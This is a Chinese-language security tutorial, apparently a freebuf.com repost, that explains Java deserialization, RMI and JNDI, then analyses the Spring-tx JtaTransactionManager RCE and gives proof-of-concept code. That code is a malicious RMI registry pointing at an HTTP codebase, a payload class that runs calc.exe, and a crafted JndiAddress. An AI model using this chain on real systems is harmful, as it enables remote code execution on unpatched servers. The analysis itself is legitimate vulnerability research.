0x00 反序列化
之前对Java一直不太熟悉,不怎么接触Java安全,不了解Java中序列化与反序列化的一些机制,导致很多Java相关的RCE都看不懂,只知道拿来就用,想了想还是要深入了解一下比较好。在PHP中我们可以通过serialize和unserialize来进行序列化相关的操作,到了Java的世界里,就没有这么直白的函数可以用了,相关的两个函数分别是:
序列化: ObjectOutputStream.writeObject()
反序列化: ObjectInputStream.readObject()
我们先来看一下最基本的序列化方式:
package me.lightless.base;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
/**
* Package: me.lightless.base
* Author: lightless <[email protected]>
* Date: 2018/3/29
*/
public class Base {
public static void main(String[] args) throws Exception {
String hello = "Hello World!";
// 序列化并写入文件payload.bin
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
objectOutputStream.writeObject(hello);
objectOutputStream.close();
// 从文件payload.bin中读取数据并反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
String value = (String)objectInputStream.readObject();
objectInputStream.close();
System.out.println("Read value from file: " + value);
}
}
通过ObjectOutputStream
和ObjectInputStream
就可以完成最基础的序列化操作。如果想要序列化一个class
,那么会稍微复杂一些,需要自己实现Serializable
接口,只有实现了这个接口的类才能被序列化。来看一个简单的例子:
package me.lightless.base;
import java.io.*;
/**
* Package: me.lightless.base
* Author: lightless <[email protected]>
* Date: 2018/3/29
*/
public class ClassBase {
public static void main(String[] args) throws Exception {
VulnObject vulnObject = new VulnObject();
vulnObject.value = "new_value";
// 序列化并写入文件payload.bin
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
objectOutputStream.writeObject(vulnObject);
objectOutputStream.close();
// 从文件payload.bin中读取数据并反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
VulnObject vulnObject2 = (VulnObject)objectInputStream.readObject();
objectInputStream.close();
System.out.println("value: " + vulnObject2.value);
}
}
class VulnObject implements Serializable {
String value;
// private void readObject(ObjectInputStream objectInputStream) throws Exception {
// objectInputStream.defaultReadObject();
// System.out.println("This is new 'readObject' method!");
// }
}
这个例子中,我们序列化了一个VulnObject
类的对象,并且成功的反序列化了回来。这里我注释了一个重写的readObject
方法,在编写自己的类的时候,可以通过重写readObject
方法来实现在反序列化的时候进行一些特殊的操作。
更加深层的序列化相关的内容我们先姑且按下不表,后面在分析其他漏洞的时候再另行介绍,知道上面这些点就可以分析Spring-tx.jar
中的漏洞了。
0x01 RMI AND JNDI
另外在开始分析Spring-tx.jar
中的反序列化漏洞之前,我们还要简单的了解一下RMI
和JNDI
,Spring-tx.jar中的反序列化漏洞正是利用了这两个机制来实现的RCE,这两个机制都是为了分布式而服务的。
-
RMI(Remote Method Invocation),Java远程方法调用,有些类似RPC。相比之下RMI可以访问远程的对象,RPC则不可以,JNDI应用就可以获取到注册在RMI服务上的远程对象。
-
JNDI(Java Naming and Directory Interface),Java命名和目录接口,简单说就是提供了一组API,可以让我们通过一种统一的方式,便捷的调用各种命名和目录服务(例如LDAP)。
我们可以通过RMI
协议来获取远程的对象,例如通过lookup
方法来获取rmi://127.0.0.1:1099/EvilObject
上的对象,这个时候程序就会去目标主机上的RMI
服务尝试获取EvilObject这个对象。RMI
服务可以通过返回一个Reference
对象,让其去指定的codebase
处获取对应类的字节码,而这个codebase
甚至可以是HTTP协议:)就如这个例子,如果RMI服务返回了javax.naming.Reference("ExportObject","ExportObject", factoryLocation)
对象,那么程序就会尝试去factoryLocation
处获取字节码,并且会自动加载然后执行该类的构造函数。
0x02 Spring-tx漏洞分析
Spring-tx
是一个用于处理事务管理相关的包,根据漏洞描述,可以找到是org.springframework.transaction.jta.JtaTransactionManager
这个类出现了问题。我们先看一下这个类的readObject
方法。
可以看到,除了调用默认的readObject
之外,还进行了一些额外的操作,那么漏洞就出现在这些额外的操作中。继续跟进initUserTransactionAndTransactionManager
这个初始化的方法,可以找到调用了this.lookupUserTransaction(this.userTransactionName)
。
再继续向下跟进,会发现调用了this.getJndiTemplate().lookup()
方法,这个就是前文说到的lookup
方法,可以通过这个方法来传入rmi://
协议的参数来执行命令。
漏洞非常简单,我们来梳理一下调用流程:
readObject ->
initUserTransactionAndTransactionManager ->
lookupUserTransaction ->
lookup
最终lookup
的参数userTransactionName
是通过this.userTransactionName
传入的,这个值我们可以在构建JtaTransactionManager
类的时候来设置为任意值。
调用链有了,再来梳理一下利用流程:
发送恶意payload ->
Server端接到payload,访问恶意的RMI服务 ->
RMI访问HTTP服务获取poc类,返回给Server端 ->
Server端反序列化拿到的poc类,并且执行构造函数
接下来的事情就是编写PoC了,参考了一下zerothoughts在Github上给出的PoC。首先是服务端,开个socket接收数据并且反序列化即可。
// filename: server.java
import java.io.*;
import java.net.*;
public class ExploitableServer {
public static void main(String[] args) {
try {
int port = 9999;
ServerSocket serverSocket = new ServerSocket(port);
System.out.println("Server started on port " + serverSocket.getLocalPort());
while (true) {
Socket socket = serverSocket.accept();
System.out.println("Connection received from " + socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object " + object);
} catch (Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
我们先来写一个恶意的POC类,负责执行命令。
public class POC {
public POC() {
try {
System.out.println("POC start!");
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
比较简单,不做过多说明了。下面来编写主要的PoC代码,首先我们需要在本地开启一个HTTPServer,负责输出POC类的字节码,由HttpFileHandler
类实现:
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8090), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
HttpFileHandler
类的代码没有修改,可以参考原PoC。
第二步要开启RMI Registry供Server端来访问,并且与前面编写好的恶意POC类关联起来:
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("POC", "POC", "http://127.0.0.1:8090/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
// rmi://127.0.0.1:1099/poc233
registry.bind("poc233", referenceWrapper);
接下来就是构造一个JtaTransactionManager类来实现我们的调用链完成反序列化的利用:
String jndiAddress = "rmi://127.0.0.1:1099/poc233";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
最后要做的事情就是把构造好的JtaTransactionManager
类的对象序列化并发送到Server端即可。
跑起来看下效果:
完整的代码这里就不占用篇幅了,感兴趣的同学可以到GitHub上自取。
0x03 参考文献
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1. http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection
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2. http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce
来源:freebuf.com 2018-06-13 16:43:49 by: 美丽联合安全MLSRC
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